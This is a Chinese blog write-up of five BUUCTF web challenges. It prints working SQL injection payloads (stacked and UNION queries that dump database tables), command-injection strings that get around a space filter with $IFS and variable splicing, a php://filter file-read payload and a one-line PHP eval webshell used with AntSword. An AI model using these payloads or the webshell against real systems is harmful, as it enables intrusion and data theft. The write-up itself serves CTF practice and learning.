第八周buuctf

于 2022-10-28 18:02:17 发布
阅读量462 收藏 2
点赞数
分类专栏： 笔记 文章标签： bash 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ing_end/article/details/127575742
版权

[SUCTF 2019]EasySQL

在这里插入图片描述
先判断一下是数字型还是字符型，输入1
在这里插入图片描述
有回显；然后各种试试试，都是nonono

还好，试了一下堆叠注入
爆出数据库：1;show databases;#
在这里插入图片描述
爆表：1;show tables;#
在这里插入图片描述
然后爆字段：1;show columns from FLAG;#，输入后回显Nonono.,猜测有被过滤

下面是学习众多大佬的方法
猜测出查询语句为：select “.$post[‘query’].”||flag from Flag
由于本题没有过滤*，用*查询flag中的所有字段，所以直接构造payload为：*,1
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

题目类型：命令执行+代码审计
提示/?ip=

输入/?ip=127.0.0.1，回显成功
在这里插入图片描述
显示当前的所有文件：`/?ip=127.0.0.1|ls
在这里插入图片描述

查到了两个php文件 查看flag.php：?ip=127.0.0.1|cat flag.php`
在这里插入图片描述
这里提示/?ip= fxck your space!额···fxck是什么东西，space是空格，大佬说应该是空格被过滤了

命令中空格被过滤的解决方法：
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格，这里通过变量的方式巧妙绕过)

查看index.php文件：/?ip=127.0.0.1|cat$IFS$9index.php
在这里插入图片描述
发现这个PHP代码好像不太全，我们查看一下源码，出来了，下面是PHP代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);//执行操作符 ，-c 4 表示ping的指定次数为4
  echo "<pre>";
  print_r($a);
}

?>

学一下大佬的方法
变量拼接字符串——将a的值覆盖，然后进行绕过
构造payload：/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
总之就是用变量拼接成flag
在这里插入图片描述
查看源码
在这里插入图片描述

[极客大挑战 2019]Secret File

在这里插入图片描述
查看源码

<!DOCTYPE html>

<html>

<style type="text/css" >
#master {
    position:absolute;
    left:44%;
    bottom:0;
    text-align :center;
        }
        p,h1 {
                cursor: default;
        }
</style>

        <head>
                <meta charset="utf-8">
                <title>蒋璐源的秘密</title>
        </head>

        <body style="background-color:black;"><br><br><br><br><br><br>

            <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么？</h1><br><br><br>

            <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你，去找吧！把一切都放在那里了！</p>
            <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
            <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
        </body>
</html>

有这样一行代码<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
进入这个目录查看一下
在这里插入图片描述
在这里插入图片描述
提示查阅结束，返回上个目录，查看一下源码
在这里插入图片描述
此时也没有什么发现，抓个包试了试
在这里插入图片描述
这里提示secr3t.php，我们进入这个目录看一下
在这里插入图片描述
这里提示flag放在了flag.php里，进入falg.php目录
在这里插入图片描述
没有出现flag，找到了但是看不到，此时又想到了PHP的封装协议，我们用一下 [ACTF2020 新生赛]Include里面使用的方法

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述
拿去解密
在这里插入图片描述

[极客大挑战 2019]LoveSQL

先随便输入一个万能密码
在这里插入图片描述
找到回显位置
在这里插入图片描述
在这里插入图片描述
试试联合查询，一直到3的时候回显正常
在这里插入图片描述
2和3有回显位置
在这里插入图片描述
输入用户名为1
爆数据库password=:1' union select 1,2,database()#
在这里插入图片描述
在这里插入图片描述
得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #——id,username,password
在这里插入图片描述
爆数据：/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
在这里插入图片描述
在这里插入图片描述

flag{6322f05a-d432-4a7e-a8e0-7de2e394dba6}

[极客大挑战 2019]Knife

在这里插入图片描述
很明显的提示，用中国菜刀或者蚁剑，这里我使用蚁剑

构造payload：/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据
URL地址为：http://094fc751-45ef-4f6e-961d-daee474ee7b4.node4.buuoj.cn/index.php
密码为：Syc
在这里插入图片描述

用蚁剑查看目录
在这里插入图片描述
查看根目录，找到flag
在这里插入图片描述
进入flag文件夹里
在这里插入图片描述

ing_end
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF逆向前八题
01-24
内容为BUUCTF里reserve的前八题自己的一些解题思路
BUUCTF-Web题解（一）
flying_bird2019的博客
12-20 1427
ping ping ping 参考其他wp: 链接 执行系统命令 先输入：?ip=127.0.0.1;ls 输出： flag.php index.php ?ip=127.0.0.1;cat flag.php fxck your space! 过滤了空格 空格可以用 ${IFS} $IFS$1 //$加其他数字都可以 < <> {cat,flag.php} %09 代替 ?ip=127.0.0.1;cat,flag.php fxck your flag! flag被过滤 读一下index.p
[GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)
qq_43335965的博客
06-05 92
记一道ping注入的题。过滤了很多字符。 分析 简单的测了一下，很容易就拿到了flag.php和index.php。 但是存在waf无法直接查看。直接?ip=127.0.0.1|cat flag.php提示/?ip= fxck your space!。意思不能存在空格。用$IFS$1可以代替空格。用?ip=127.0.0.1|cat$IFS$1flag.php提示/?ip= fxck your ...
【测试用例】文本框测试用例
韩同学叫园园
09-23 2227
普通文本输入框 maxlen为该文本框的最大长度 半角大写英文字母，如：DEFGHIJ 半角小写英文字母，如：klmn 全角大写英文字母，如：ＱＫＬＩＥＳ 全角小写英文字母，如：ａｂｔｆ 半角大小写混合英文字符，如：ABCdefuvwXYZ 全角大小写混合英文字符，如：ｓｆｄＧＡＳＤｕｉＧ 全角数字，如：１２３４５６７８９０ 半角数字，如：0123456789 半角大小写英文字符&阿拉伯数字，如：0aD23Cmf9 全角大小写英文字符&阿拉伯数字，如：ａｕ８ＨＴ３ｙＳｎ
F*K CSDN
一个人
08-08 133
F*K CSDN!
【CTF】buuctf web（一）——命令执行
m0_52923241的博客
07-26 2244
[ACTF2020 新生赛]Exec 抓包看看 得到信息：以post方式通过变量target传参
BasicASM.s（BUUCTF）
06-04
分析过程文件
【BUUCTF】MISC zip
01-20
import zipfile import string import binascii def CrackCrc(crc): for i in dic: for j in dic: for p in dic: for q in dic: s = i + j + p + q if crc == (binascii.crc32(s.encode())): ...
BUUCTF部分web题目
最新发布
05-06
写题记录
BUUCTF Reverse CrackRTF-附件资源
03-05
BUUCTF Reverse CrackRTF-附件资源
CTF刷题
qq_45655136的博客
08-05 6239
刷题网站:bugku;BUUCTF 本文记录了在刷题过程中所学到的知识点 坚持每天刷5道题，持续更新 坚持就是胜利鸭 CTF 1、bugku–Simple_SSLI_1 根据题目SSLI即服务端模板注入攻击，服务段接收用户输入，将其作为web应用模板的一部分，渲染编译后执行恶意内容，导致敏感信息泄露、代码执行等。 直接F12，发现提示in the flask,set a secret_key flask模板，config是flask模板中的一个全局对象，包含了所有应用程序的配置值。 然后在url输入/?fl
CTF_Web_[GXYCTF2019]Ping Ping Ping
十二_的博客
07-26 1625
表示上一条命令执行失败后，才执行下一条命令，如catnofile||echo“fail”表示前一条命令执行成功时，才执行后一条命令，如echo'1‘&&echo‘2’表示管道，上一条命令的输出，作为下一条命令参数，如echo‘yes’|wc-l。发现没有任何新的回显，应该是因为前面是假ping，所以后面的命令不执行。如上图，“||”会有效果—显示了两个后缀为“php”的文件名.文件，或许我们要找的flag就在其中。根据大佬解题的思路，我们来找文件，进行测试。...
WEB 渗透题（一）
0xac001d09
12-06 3779
[ACTF2020 新生赛]Include --文件包含 思路 burp 抓包，发现文件名有点问题。题目和网址的 file 参数，提示这是文件包含的题。 GET /?file=flag.php HTTP/1.1 Host: 9b09eb46-2433-4403-b582-c5ee23d12378.node4.buuoj.cn:81 因此可以构造文件名发包 file=php://filter/read=convert.base64-encode/resource=flag.php GET /?file=ph
BUUCTF WEB [极客大挑战 2019]Secret File
Y1da的博客
04-09 1811
BUUCTF WEB [极客大挑战 2019]Secret File 启动后效果如下 F12查看源代码 <!DOCTYPE html> <html> <style type="text/css" > #master { position:absolute; left:44%; bottom:0; text-align :center; } p,h1 { curso
记 [GXYCTF2019]Ping Ping Ping 1
fly夏天的博客
03-24 5242
打开题目，页面显示/?ip= 应该是一个传参的提示。 结合题目的ping。尝试?ip=127.0.0.1 果然是linux的命令执行，尝试执行其他命令 ?ip=127.0.0.1 ;ls 成功执行 目标是flag.php ?ip=127.0.0.1 ;cat flag.php 提示/?ip= fxck your space! 判断目标网站是对空格进行了过滤，我们可以使用一些方...
【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup
algae
08-29 8750
【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup0x00 考点1、命令绕过空格方法有：2、内联执行0x01 解题1、简单变量替换，用a覆盖拼接flag2、变量ab互换传递，绕过字符串匹配，实现拼接3、内联执行4、被过滤的bash，用管道+sh替换 0x00 考点 1、命令绕过空格方法有： $IFS$1、${IFS}$1、 {IFS}、IFS 2、内联执行 内联，就是将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;cat$IFS$9`ls` $IFS在Li
BUUCTF [GXYCTF2019]Ping Ping Ping 1
m0_62879498的博客
03-11 5593
[GXYCTF2019]Ping Ping Ping 1 在本题我们考察的是命令执行 已进入本关，我们发现他在询问 ?ip 我们先尝试输入 ?ip=127.0.0.1 发现访问成功 查询一下它的目录： ?ip=127.0.0.1|ls 发现有两个文件夹flag.php，index.php，发现 flag 我们尝试访问 flag。 ?ip=127.0.0.1|cat flag.php 点击查询， 很明显我们需要进行一个空格的过滤 空格过滤常见绕过注释： < > %20(spac
GXYCTF2019 复现
weixin_44377940的博客
03-19 626
GXYCTF复现pingpingping禁止套娃 pingpingping 打开页面： 显然是命令执行。GET传入ip=127.0.0.1 | ls 尝试用cat读取，发现过滤了空格，可以利用$IFS$9、$IFS来绕过，（${IFS}不行，花括号被过滤了），读取flag文件，发现对flag也进行了过滤，尝试用*绕过，发现也过滤了，读取一下index.php，代码如下： <?php if...
buuctf wireshark
09-12
根据您提供的引用内容，buuctf wireshark 是一个与buuctf比赛相关的题目。其中，Wireshark 是一个网络封包分析软件，可以用来捕获和分析网络数据包。根据[1]中提供的下载地址，可以下载 Wireshark 软件进行使用。 在buuctf wireshark题目中，黑客通过使用Wireshark抓到了管理员登陆网站时的一段流量包，并将其中的密码作为flag。解题思路是使用Wireshark打开下载的文件，然后根据题目提示，在流量包中找到管理员登陆网站时的请求，该请求方式为POST类型，可以通过过滤条件 `http.request.method==POST` 来筛选出该请求。在该请求中，可以找到管理员的密码，作为flag提交。 不过，需要注意的是，获取到的flag需要加上 `flag{}` 并进行提交。 此外，根据中的提到的方法，您也可以直接将下载的图片文件扔到WinHex中进行查看，以便寻找是否存在flag。但是，请注意在buuctf wireshark题目中的具体解题思路仍然是通过Wireshark分析流量包。 总结起来，对于buuctf wireshark题目，您需要下载Wireshark软件，打开下载的文件，并根据题目提示找到管理员登陆网站时的流量包，从中获取管理员的密码作为flag，最后在提交flag时记得加上 `flag{}`。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值